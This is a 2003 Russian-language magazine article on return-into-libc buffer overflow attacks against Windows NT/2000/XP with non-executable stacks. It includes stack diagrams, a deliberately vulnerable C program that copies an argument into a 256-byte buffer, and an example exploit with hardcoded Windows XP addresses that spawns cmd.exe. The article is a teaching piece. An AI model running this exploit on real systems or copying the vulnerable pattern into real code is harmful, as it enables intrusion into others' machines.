Гошко С.В., Атака на переполнение буфера через не исполнимый стэк в Windows NT/2000/XP, Системный администратор, сентябрь 2003, стр.70-74
                   Атака на переполнение буфера через
                 не исполнимый стэк в Windows NT/2000/XP.

Атаки на переполнение буфера за последние 10 лет получили громадное 
распространение. Практически во всех современных операционных системах 
предусматривается защита от данных атак (Black Cat, Sun...).
Поэтому не за горами то время, когда данная защита появится и у Windows систем.
В данной статье будет рассматриваться атака на переполнение буфера через не
исполнимый стэк.

Рассмотрим чем отличается обычное переполнение буфера, от переполнения буфера
через не исполнимый стэк.

Большинство атак на переполнения буфера строятся по следующей схеме:

	- Подготавливается мусор и вычисляются номера байтов, которые перетирают
	  адрес возврата
	- Подготавливается исполнимый код в качестве буфера
	- Вычисляется адрес возврата при помощи отладчика, так чтобы он указывал
	  на исполнимый код в стэке
	- Затем подготовленный буфер содержащий мусорные байты, новый адрес 
	  возврата и исполнмый код передаётся уязвимой программе

Рассмотрим на схеме как выглядит стэк уязвимой программы в момент проведения 
обычной атаки на срыв стэка:

			|        ................       |
			|-------------------------------|
			|                               |
			|            Шелл код           |<------|
			|                               |       |
			|-------------------------------|       |
			|                               |       |
			|   Подменённый адрес возврата  |-------|
			|                               |
			|-------------------------------|
			|                               |
			|         Мусорные байты        |
			|                               |
			|-------------------------------|
			|         ................      |

Как вы могли заметить исполнение шелл кода происходит прямо в стэке. Большинство
защит ориентировано на то, чтобы воспрепятствовать выполнению кода в стэке и 
данная защита очень хорошо работает против большинства эксплоитов.

Теперь для понимания функционирования эксплоитов использующих атаку через 
неисполнимый стэк рассмотрим простую программу, которая вызывает через WinExec
программу - "cmd.exe".

			На языке С++ она бы выглядела так:

//------------------------------------------------------------------------------
#include 

void main ()
{
    WinExec("cmd",1);
}
//------------------------------------------------------------------------------

В данной программе не видно вызова функции ExitProcess, так как компилятор C++ 
сам заботится о корректном завершении программы.

		 Рассмотрим аналогичную программу на языке ассемблера:

;------------------------------------------------------------------------------;
.386                            
.model flat, stdcall            
                               
extrn ExitProcess:proc          
extrn WinExec:proc 
                               
.data                           
dd 0                           
                               
.code                          
start:                         
                         
		push	1
		push	offset comm1
		call	WinExec			; !!!!!      

		push 	0                          
		call 	ExitProcess                
                                           
		comm1	db 'cmd',0
end start                                  
end                                         

;------------------------------------------------------------------------------;

Теперь нам необходимо разобраться как выглядит стэк внутри функции WinExec.
Рассмотрим схему стэка внутри WinExec (вызов данной функции отмечен 
восклицательными знаками).

			|        ................       |
			|-------------------------------|
			|   Параметр функции WinExec	|
			|      SW_SHOW или SW_HIDE      |
			|                               |
			|-------------------------------|
			|    Параметр функции WinExec   |
			|      Адрес строки "cmd",0     |
			|          (!!!!!!!!!)          |
			|-------------------------------|
			|                               |
			|         Адрес возврата        |
			|           (!!!!!!!!!)         |
			|-------------------------------|
			|         ................      |

Для построения нашей атаки нам наиболее важны значения отмеченные 
восклицательными знаками. Первый же параметр можно упустить.

Перейдём к конструированию нашей атаки. Мы должны так переполнить буфер, чтобы 
при возвращении из функции мы попали прямиком в WIN API функцию с заполненым 
стэком. И самое главное, что стэк должен быть заполнен корректно для вызова 
cmd.exe.

			Разберём схему построения данной атаки:

	- Подготавливается имя программы ("cmd"), мусор и вычисляются номера
	  байтов, которые перетирают адрес возврата
	- Вычисляется адрес строки при помощи отладчика, так чтобы он указывал
	  на строку "cmd" в стэке
	- Вычисляются адреса функций: WinExec, ExitProcess
	- Затем подготовленный буфер содержащий имя программы("cmd"), мусорные
	  байты, новый адрес строки и адреса функций передаётся уязвимой 
	  программе

		Рассмотрим схему стэка при реализации данной атаки:

			|        ................       |
			|-------------------------------|
			|                               |
			|       kernel32.WinExec        |<------|
			|                               |       |
			|-------------------------------|       |
			|                               |       |
			|        Адрес строки "cmd"     |       |
			|                               |       |
			|-------------------------------|       |
			|                               |       |
			|   Адрес функции ExitProcess	|       |
			|                               |       |
			|-------------------------------|       |
			|                               |       |
			|     Адрес функции WinExec     |-------|
			|                               |
			|-------------------------------|
			|                               |
			|         Мусорные байты        |
			|                               |
			|-------------------------------|
			|        ................       |

Как вы можете видеть по схеме стэка, в момент атаки мы упустили первый параметр
функции WinExec. А так же мы поставили адрес функции ExitProcess в качестве 
адреса возврата из функции WinExec. После того, как консоль будет запущена 
управление будет передано на функцию ExitProcess, которая корректно завершит 
процесс.

Теперь рассмотрим простую уязвимую программу и построим для неё эксплоит 
работающий через неисполнимый стэк.

				Рассмотрим листинг:
								
//------------------------------------------------------------------------------
#include 
#include 

void vuln_func(char *stroka)
{
      char buffer[256];          // буфер

      lstrcpyA(buffer,stroka);   // функция в результате вызывающая
 				 // переполнение буфера
}

void main (int argc, char *argv[])
{

    vuln_func(argv[1]);   	 	// вызов уязвимой функции
    printf("Parameter is : %s",argv[1]);

}
//------------------------------------------------------------------------------

Откомпилируем её и выясним, что это программа делает. 
Если её запустить без параметров, то она выведет следующее: 

Parameter is : 0(null)

Запустим её следующим образом:

c:\x-files\bug.exe aaaaaaa

Тогда данная программа выведет:

Parameter is : aaaaaaa

При "aaaaa....aaaa" в количестве больше чем 256 будет происходить переполнение
буфера.

Теперь когда у нас есть уязвимая программа мы можем реализовать эксплоит для неё,
который будет действовать по описанному выше принципу.

			Рассмотрим листинг эксплоита:

//------------------------------------------------------------------------------
// example exploit by sl0n

#include 
#include 

void main()
{
    char garbage[1000];
    char buffer[500];

    char r_address1[8]="\xC6\x84\xE6\x77"; // адрес функции WinExec для WIN XP
    char r_address2[8]="\xB5\x5C\xE7\x77"; // адрес функции ExitProcess для WIN XP
    char pointer_to_cmd[8]="\x80\xfa\x12\x00"; // адрес строки "cmd" в стэке

    memset(garbage,'\x90',256);		// Заполняем строку мусором (nop'ы)

    strcat(buffer,"cmd ");			// "cmd "
    strcat(buffer,garbage);			// "cmd "+nop'ы
    strcat(buffer,r_address1);		// "cmd "+nop'ы+WinExec
    strcat(buffer,r_address2);		// "cmd "+nop'ы+WinExec+ExitProcess
    strcat(buffer,pointer_to_cmd);  // "cmd "+nop'ы+WinExec+ExitProcess+....

    strcpy(garbage,"BUG.EXE "); 
    strcat(garbage,buffer);
    
    //"BUG.EXE "+"cmd "+nop'ы+WinExec+ExitProcess+point_cmd

    WinExec(buffer,1);
}
//------------------------------------------------------------------------------

Как вы могли убедиться для реализации данной атаки не нужно глубокое знание 
ассемблера для построения шелл кода. Она гораздо легче реализуется чем 
традиционное переполнение буфера. Данный вид атаки на переполнение буфера 
гораздо более прогресивный, но существует некоторая сложность построения 
удалённых эксплоитов данного типа.

По моему данная атака представляет собой второе дыхание эксплоитов 
ориентированных на переполнение буфера.

Для борьбы с атаками данного вида системные администраторы должны с большим 
вниманием следить за обновлением программного обеспечения.

                    При написании статьи использовались материалы:

[1] Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on 
    Windows NT/2000/XP by David Litchfield (david@ngssoftware.com)

--------------------------------------------------------------------------------
... Dis Is Cheat of Mind ...
                                                                       slon 2002